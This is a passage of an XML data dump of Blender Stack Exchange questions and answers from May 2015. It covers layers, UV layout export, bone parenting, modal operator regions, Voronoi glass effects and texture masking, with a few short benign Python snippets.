  <row Id="31639" PostTypeId="2" ParentId="23037" CreationDate="2015-05-29T02:15:16.340" Score="0" Body="&lt;p&gt;The keyboard shortcut to bring out the tool panel is &lt;kbd&gt;T&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xFih.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-29T02:15:16.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31640" PostTypeId="2" ParentId="31636" CreationDate="2015-05-29T02:28:23.693" Score="4" Body="&lt;p&gt;The issue is that the active layer is not the one that is visible. So your objects are being created in layer 9 instead of layer 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CjYLz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make layer one be the active layer press &lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zaaHJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see the contents of both layers press &lt;kbd&gt;1&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;9&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-29T02:28:23.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31641" PostTypeId="2" ParentId="31089" CreationDate="2015-05-29T04:31:32.820" Score="3" Body="&lt;p&gt;Create an image pane with the image you want to distort. Place a new plane between the image and the camera and add a glass texture to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kkExq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdivide the glass plane and apply a displace modifier that uses the voronoi texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HYWdn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tKcO7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By changing the parameters on the texture you can get to the results you're after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BJLA8.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-29T14:39:01.563" LastActivityDate="2015-05-29T14:39:01.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31644" PostTypeId="1" AcceptedAnswerId="32013" CreationDate="2015-05-29T09:05:26.127" Score="4" ViewCount="2072" Body="&lt;p&gt;This question has two parts&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there an automatic way in blender (perhaps an addon) of subdividing a mesh into convex subvolumes&lt;/li&gt;&#xA;&lt;li&gt;Given that a subdivision has been made, is it possible to associate a front and back subvolume with a face, or at least mark the faces that faces two subvolumes? In the figure, I have done (1) manually, and I want to give the selected faces a tag, so I know that these faces actually face another subvolume (this object is hidden to not cover the selected faces). The reason for including the open face is that the body will be mirrored in the yz-plane.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UQnux.png&quot; alt=&quot;Illustration of what I want to do&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I need this is that I want convex volumes for hit-testing that relies on the normal projection method. An alternative is to relax on the convexity assumption, but then I need another algorithm perhaps involving testing a surface integral for equality to 4pi, which seems numerically unstable.&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="3258" LastEditDate="2015-06-06T09:11:16.560" LastActivityDate="2015-06-06T12:18:05.810" Title="Subdividing a mesh into convex subvolumes and tagging faces" Tags="&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31647" PostTypeId="1" AcceptedAnswerId="32380" CreationDate="2015-05-29T10:26:05.043" Score="6" ViewCount="2364" Body="&lt;p&gt;TL;DR: Is it possible to edit a UV projection with the same precision as one does a model in Edit Mode, or alternatively, can one export a UV projection as a new mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Details: So as mentioned in my previous post, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/31479/equirectangular-world-map-uv-layout&quot;&gt;Equirectangular world-map UV layout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... I've been building a globe with adjustable continents to mess around with continental drift patterns as my first learning project, with the idea that I could somehow project the new continent configuration out as an equirectangular map - these are a standard for geographical mapping programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Equirectangular_projection&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Equirectangular_projection&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a lot of tweaking I've gotten my globes clean enough to give me a semi-useable map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CD5op.png&quot; alt=&quot;the mesh:&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ACIf.png&quot; alt=&quot;the projection:&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's not equirectangular however, and there is still a lot of distortion at the poles. I would like to be able to edit the projection itself, but I can't seem to figure out how (if it's even possible). UV sculpt is too imprecise, and Grab/Scale/Rotate seem to just affect the projection as a whole no matter what is selected. Ideally it would be nice to be able to edit the projection with all the flexibility of Edit Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, or alternatively, can one export a projection as a mesh and continue working on it that way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks lots for your time reading this and potentially helping me out. ^_^&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;FYI: The continental position pictured is earth in +- 100-150 million years' time. Some additional changes are predicted (such as East Africa breaking off from the mainland along the Rift Valley), but I'm not at the point where I can model THAT yet.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Following &lt;strong&gt;SixthOfFour&lt;/strong&gt;'s suggestion, I spent the evening trying to figure out how to bisect my globe along the previously defined seam (I discovered the knife tool! Yay! ... surprisingly hard to figure out how to cut a mesh in blender cleanly) and deform it in the reverse of the answer he linked. I got as far as to cut my globe cleanly, but I'm stuck at the deformation - I have no idea how to &quot;unbend&quot; in blender. The Simple Deformation modifier wasn't of any help, and I couldn't really manage with any of the other deformation modifiers either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least I've made some progress, so thanks SixthOfFour. Now I just need to figure out the deform itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For interest' sake, here's the cut now neatly disecting the continent formerly known as ... The cut runs all along the seam, from pole to pole along the int'l date line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xloNv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NoviceInDisguise&lt;/strong&gt; helped me realize that I wasn't understanding transforms in edit mode fully, which lead me to discover proportional editing this morning. Turns out my selection circle in the UV Editor had gotten so large that I was grabbing everything and then some. Still not having much joy manipulating the UV map since the continental geometry doesn't want to behave according to the underlying grid's movement, but at least I have two avenues to explore now ...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So the UV mapping option is out. Despite finally figuring out how to remesh the globe properly using shrinkwrap, (negative projection of a UV Sphere onto the surface) thereby integrating the disparate bits of the object, deforming the projection to be equirectangular just doesn't work - there is simply too much squashing at the poles to accurately pull things into position according to the grid. So my only hopes now rest with an unwrap as suggested by &lt;strong&gt;SixthofFour&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Well, I've taken this project as far as I could. I'm out of ideas. I tried unwrapping the mesh itself as suggested by SixthofFour by using a cylinder cast which I then intended to unwrap along the previously cut break, but the cylinder didn't come out clean despite my best efforts. I've linked my final blender project below for anybody who'd be willing to give it a try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s000.tinyupload.com/?file_id=65979981948334151059&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s000.tinyupload.com/?file_id=65979981948334151059&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks lots if you do take the time to do so.&lt;/p&gt;&#xA;" OwnerUserId="14616" LastEditorUserId="-1" LastEditorDisplayName="user7952" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-06-14T03:08:59.960" Title="Equirectangular world-map UV layout - the sequel" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;uv&gt;&lt;export&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31648" PostTypeId="1" CreationDate="2015-05-29T10:56:06.840" Score="2" ViewCount="436" Body="&lt;p&gt;I have been doing a lot of UV editing lately and have noticed that I am often enabling normalized coordinates in the UV editor and thought it would be useful to turn this on by default as it means I don't need to care about the resolution of the texture I am working with. However, I can't find a way to set this by default, and even turning it on and saving as the default scene doesn't work. Is there an option hidden away somewhere that would allow me to do this?&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2015-05-29T10:56:06.840" Title="Is there a way to make normalized coordinates the default in the UV editor" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31649" PostTypeId="1" AcceptedAnswerId="34405" CreationDate="2015-05-29T11:11:08.197" Score="5" ViewCount="361" Body="&lt;p&gt;I see this question pop up repeatedly, and people trying to remedy it without discussing and understanding why it happens in the first place. If ctrl+N doesn't work as hoped, what are the possible causes? Are there quick ways to highlight problem areas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This question is intended to provoke a canonical set of answers - or community wiki)&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-29T11:32:42.600" LastActivityDate="2015-07-23T06:07:44.950" Title="What are the reasons why automatic normal recalculation might fail" Tags="&lt;mesh&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31650" PostTypeId="1" AcceptedAnswerId="31651" CreationDate="2015-05-29T11:40:04.720" Score="3" ViewCount="12381" Body="&lt;p&gt;I'm trying to create a pop-up book, using this lesson: &lt;a href=&quot;https://www.youtube.com/watch?v=I6GjavMTaiQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=I6GjavMTaiQ&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't Parent bone that moves the page of the book to the bone that moves the cover of the book - in the setting of the bone, this option is inactive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qnmzx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the usual parent (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;) but in this case, the position of the bone that moves the page, is not recorded in the library of poses, when I move the bone that moves the cover of the book.&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="241" LastEditDate="2015-05-29T11:50:18.970" LastActivityDate="2015-05-29T12:05:09.297" Title="Can't Parent one bone to another - this option is inactive" Tags="&lt;bones&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31651" PostTypeId="2" ParentId="31650" CreationDate="2015-05-29T11:56:44.457" Score="6" Body="&lt;p&gt;If you want a bone to have a parent bone you have to do the parenting while in 'Edit Mode'. At the minute you are in 'Object Mode'. From the header of the 3D view, with the armature selected, choose 'Edit Mode':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hc8qD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The bone you want to be the parent will also have to be in the same armature for it to be available as the parent).&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-05-29T12:05:09.297" LastActivityDate="2015-05-29T12:05:09.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31652" PostTypeId="1" AcceptedAnswerId="31656" CreationDate="2015-05-29T12:40:10.143" Score="4" ViewCount="155" Body="&lt;p&gt;I am developping a modal operator. How can I determine if the cursor is over the Tools shelf or Properties shelf or pure 3D content (don't know how to call the last one correctly)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to block an event in &lt;code&gt;modal(self, context, event)&lt;/code&gt; from passing it back to Blender if the cursor is over pure 3D content. In that case &lt;code&gt;modal(..)&lt;/code&gt; returns &lt;code&gt;{'RUNNING_MODAL'}&lt;/code&gt;. However if the cursor is over the Tools shelf or Properties shelf the event is passed back to Blender, so the user can change some parameters in GUI panels located in the Tools shelf or Properties shelf. In the latter case &lt;code&gt;modal(..)&lt;/code&gt; returns &lt;code&gt;{'PASS_THROUGH'}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14200" LastActivityDate="2015-05-31T13:01:56.793" Title="Determine if the cursor is over Tools shelf, Properties shelf or 3D content" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31653" PostTypeId="2" ParentId="5322" CreationDate="2015-05-29T13:15:38.247" Score="4" Body="&lt;p&gt;My first choice is usually the internet. A Google image search on the keyword phrase &quot;medieval weapons&quot; brings up a large number of internet images of pikes, bow, battle axes, and others. While these are not plans or dimensioned drawings for the most part, a valuable skill for a modeler is the ability to determine reasonable dimensions from the image. So, for example, if you're modeling this battle axe,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/luIdZ.jpg&quot; alt=&quot;battle axe&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a reasonable assumption is that the handle is about an inch and a half in diameter, and if the handle is an inch and a half in diameter, then the head is 10 to 12 inches across from one edge to the other, and about six inches in the dimension parallel to the length of the handle. Small shields will be somewhat bigger than the length of the forearm, so about 18 inches or larger. The exact size of a particular shield was probably keyed to some extent to the size of the warrior carrying it. A small person probably carried a smaller shield than a large one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in modeling weapons from a particular area, for example, the island of Malta, do an online search for a museum or art museum in that area using search parameters like &lt;em&gt;weapons medieval Malta museum&lt;/em&gt;. &lt;a href=&quot;http://commons.wikimedia.org/wiki/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikimedia commons&lt;/a&gt; is a good place to look, too, Whether or not an internet search yields useful results, one can also try the Google books site. Many older books, including (I expect) those on military history are uploaded in full, and can be freely downloaded. Some of these might have useful images.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dead Tree books and magazines on the your subject are also a good source. I know I've seen books on military history that I'm sure contain images that you would find useful. In the US, even if you live in a small town, and your local library does not have much that is useful in its collection, I expect that there is likely facility to allow you to borrow books (and magazines) from the State Library, or from the libraries of some of the larger cities in the state, or the libraries from the State Universities through inter-library loan, though these days this might cost a nominal fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't overlook fine arts books, either. I have a copy of a book on the art of Heironymous Bosch, a Fifteenth century painter, many of whose surviving paintings are in Spanish museums, and I recall that his paintings include paintings of weapons, which even though they're small, show proportions of the weapon to the size of the person wielding it. But I've also seen books containing images of swords and other medieval weapons, from which you could get at least one view. And military subjects--battles and warriors--are commonly the basis for paintings and sculptures, so these can be sources of material for modeling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as reference images for for other types of modeling, again, the internet is your friend. There are a number of digital photo archives available on line that do not seem to be referenced by Google, or other data aggregators. Most every state, and many regional library associations have such archives. Also individual university libraries will often have significant collections of photographs that can be used, if not for reference, at least for inspiration. Wikimedia commons may be worth consulting, too, although I generally find that this is generally included in data aggregator data.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-02T04:58:32.970" LastActivityDate="2015-06-02T04:58:32.970" CommentCount="0" CommunityOwnedDate="2015-05-29T13:15:38.247" ContentLicense="CC BY-SA 3.0" />
  <row Id="31654" PostTypeId="2" ParentId="31485" CreationDate="2015-05-29T13:23:21.997" Score="0" Body="&lt;p&gt;The screenshot shows an object origin at the center of the mesh, with a dotted line to the Orca. If I add an empty to the default scene, and define that empty as a parent of the default cube, I get a dotted line from the empty to the cube much like the line shown in the screenshot. If I select the empty object, the &quot;Set origin&quot; button disappears from the tool shelf. This suggests to me that you don't have the Orca selected, but instead have selected the empty.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-05-29T13:23:21.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31655" PostTypeId="1" CreationDate="2015-05-29T13:34:46.220" Score="1" ViewCount="115" Body="&lt;p&gt;Can I set my cache output folder? I'm using Cycles Rendering, with GPU mode, my computer sometimes show a message that I have little space left.&#xA;This happens while I work, sometimes without even rendering as preview.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2016-07-29T14:19:16.827" LastActivityDate="2016-07-29T14:19:16.827" Title="specify cache output folder?" Tags="&lt;cycles-render-engine&gt;&lt;path&gt;&lt;cache&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31656" PostTypeId="2" ParentId="31652" CreationDate="2015-05-29T13:52:38.633" Score="6" Body="&lt;p&gt;There is a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.types.Context.html?highlight=context#bpy.types.Context.region&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;context.region.type&lt;/code&gt;&lt;/a&gt; variable which can have the following values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;WINDOW&lt;/code&gt; - 3D View&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;UI&lt;/code&gt; - Properties Panel&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;TOOLS&lt;/code&gt; -  Tool Panel&lt;/li&gt;&#xA;&lt;li&gt;values for the other possible regions (see the documentation)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However &lt;code&gt;context.region.type&lt;/code&gt; seems to be determined once on operator invokation. So it will always have the same value while a modal operator is running. The only way seems to be to find out manually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for region in context.area.regions:&#xA;    if(region.x &amp;lt;= event.mouse_x &amp;lt; region.x + region.width  and&#xA;       region.y &amp;lt;= event.mouse_y &amp;lt; region.y + region.height and&#xA;       region.type in (&quot;TOOLS&quot;, &quot;UI&quot;)):&#xA;        #&#xA;        return {'PASS_THROUGH'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps a more appropriate way would be to check if the cursor is over the  3D View:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for region in context.area.regions:&#xA;    if(region.type == &quot;WINDOW&quot; and&#xA;       region.x &amp;lt;= event.mouse_x &amp;lt; region.x + region.width and&#xA;       region.y &amp;lt;= event.mouse_y &amp;lt; region.y + region.height):&#xA;        break&#xA;else:&#xA;    return {'PASS_THROUGH'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-05-31T13:01:56.793" LastActivityDate="2015-05-31T13:01:56.793" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31657" PostTypeId="1" CreationDate="2015-05-29T14:00:11.043" Score="3" ViewCount="2057" Body="&lt;p&gt;when I unwrap a mesh I can't export it like the tutorials say. when I go to uv menu and look for the export uv layout.  that is supposes to be in top of show hide option is not there. is something i am doing wrong or is just blender? &lt;/p&gt;&#xA;" OwnerUserId="14247" LastActivityDate="2020-09-27T19:12:34.330" Title="why do not have a &quot; export uv layout option&quot;" Tags="&lt;uv&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31658" PostTypeId="2" ParentId="31657" CreationDate="2015-05-29T14:38:51.537" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Be very aware that you must have your mesh in edit mode prior to attempting uv export.&lt;/li&gt;&#xA;&lt;li&gt;Shift F5.In edit mode 3D View for the mesh have all vertices selected.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shift F10. Switch to the UV/Image Editor Window.  You will also see selected vertices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The menu you want will available.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TmVrc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-29T14:44:22.700" LastActivityDate="2015-05-29T14:44:22.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31659" PostTypeId="2" ParentId="30512" CreationDate="2015-05-29T14:54:00.587" Score="1" Body="&lt;p&gt;Here's the answer;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an empty, slightly behind the player, and put the ray on that, set the ray distance to however long you wan it to be, and turn on true level triggering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will need to change the code a very small amount:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def collision(cont):&#xA;&#xA;own = cont.owner&#xA;scene = logic.getCurrentScene()&#xA;target = scene.objects['Camera.001']&#xA;ray = cont.sensors['Ray']&#xA;&#xA;if ray.positive:&#xA;    target.worldPosition = ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and viola! mow the camera is added to a position based on the empties ray! if the ray is obstructed, the camera moves to the closest position!&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-05-29T14:54:00.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31661" PostTypeId="2" ParentId="31089" CreationDate="2015-05-29T15:25:30.287" Score="4" Body="&lt;p&gt;Bingo.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There's a Voronoi Texture that has been &lt;strong&gt;scaled to match the aspect ratio&lt;/strong&gt; of the output image&lt;/li&gt;&#xA;&lt;li&gt;The coloring of the Voronoi texture is set to &lt;strong&gt;Position&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The color information from the image is recombined with the color information from the voronoi texture using a UV map. &lt;strong&gt;UV interprets colors as coordinates where red=x green=y blue=z&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Two more ramp textures calm the randomness of the voronoi texture's positioning down. Unfortunately, the &quot;position&quot; coloring of the Voronoi texture isn't based on true position, but rather is totally random. If it &lt;em&gt;were&lt;/em&gt; based on true position, then we wouldn't need the baseline ramp textures at all. (time to make a feature request!)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qONlq.jpg&quot; alt=&quot;voronoi filter&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is about as close as one could get, I think. The scale of the voronoi texture could maybe be controlled by the image if you ran some filtering to find edges. (which just requires placing the source image ontop of itself with &quot;difference&quot; mixing, and shifting the upper image by a pixel or two on both X and Y)&lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2015-05-29T15:25:30.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31663" PostTypeId="1" AcceptedAnswerId="41512" CreationDate="2015-05-29T15:34:36.997" Score="3" ViewCount="1829" Body="&lt;p&gt;I just baked sound to the animation which works fine. What I want to know if there is a way for me to move the curve of the sound I just made backwards (to - frames) so it will start half way through the sound. So I basically need to move the curve or baked sound backwards so that it will start where I want it to. I've tried using some modifiers and pressing &lt;kbd&gt;G&lt;/kbd&gt; etc. but none of that works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/M1Ghc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M1Ghc.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm baking the sound to animate the speed of the rigidbodies as a test. I want to put the baked sound backwards so the speed will start changing in time of later on in the song, instead of the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible or if not, is there an alternative?  &lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="599" LastEditDate="2015-05-29T19:05:53.807" LastActivityDate="2015-11-13T07:58:52.590" Title="How to move baked curves in graph editior?" Tags="&lt;animation&gt;&lt;graph-editor&gt;&lt;audio&gt;" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31665" PostTypeId="1" AcceptedAnswerId="31674" CreationDate="2015-05-29T16:11:21.763" Score="2" ViewCount="1053" Body="&lt;p&gt;It is possible to mask a Image Texture with Emission on Blender, like adding soft borders or something and being able to control them, without having the need or external softwares?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, i have an image on my Render (The Sun, middle one), and i need to control the borders since are too hard and i do need a mask.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s0IyS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-05-29T16:49:35.963" LastActivityDate="2015-05-29T18:50:19.750" Title="It is possible to mask a Image Texture with Emission?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31666" PostTypeId="1" AcceptedAnswerId="31687" CreationDate="2015-05-29T16:57:34.833" Score="3" ViewCount="3558" Body="&lt;p&gt;I have a video that I want to trim and rescale, and also slow down by a factor of 2. I am able to do this separately, but I can't find the way to combine all the effects. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="14689" LastActivityDate="2021-03-22T13:13:51.180" Title="Combining speed control and transform effect strips" Tags="&lt;video-sequence-editor&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31668" PostTypeId="1" CreationDate="2015-05-29T17:32:25.057" Score="0" ViewCount="86" Body="&lt;p&gt;There might be an answer somewhere else but I can't find it. &#xA;You can't add videos here so here's a picture of the lighting problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZkiEk.jpg&quot; alt=&quot;Problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's fine at the beginning of the video but then it starts flashing and has the line down the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My lighting is sun lamp and an environment texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/247/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=247&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution to this problem? &lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-05-29T18:02:35.467" Title="Weird lighting problems in video?" Tags="&lt;light&gt;" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="31670" PostTypeId="2" ParentId="31665" CreationDate="2015-05-29T18:07:19.677" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the Blender compositor for the sun image only. Use a color ramp to select the brightest colors of the sun. The final result can have alpha transparency and be png.  The result can be put back into a 3D View.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use a white circle image to absolutely include the center if that suits your needs.  Thus the color ramp can be more finely tuned to the corona or rays of the sun.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the sun rays are excessively close to the edge consider particle systems or elongated rectangles with more manageable transparency.  You could have a radial gradient to become the alpha channel.  There is no guarantee the image you show will be easy to manipulate at the borders of the rectangle.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-29T18:34:56.873" 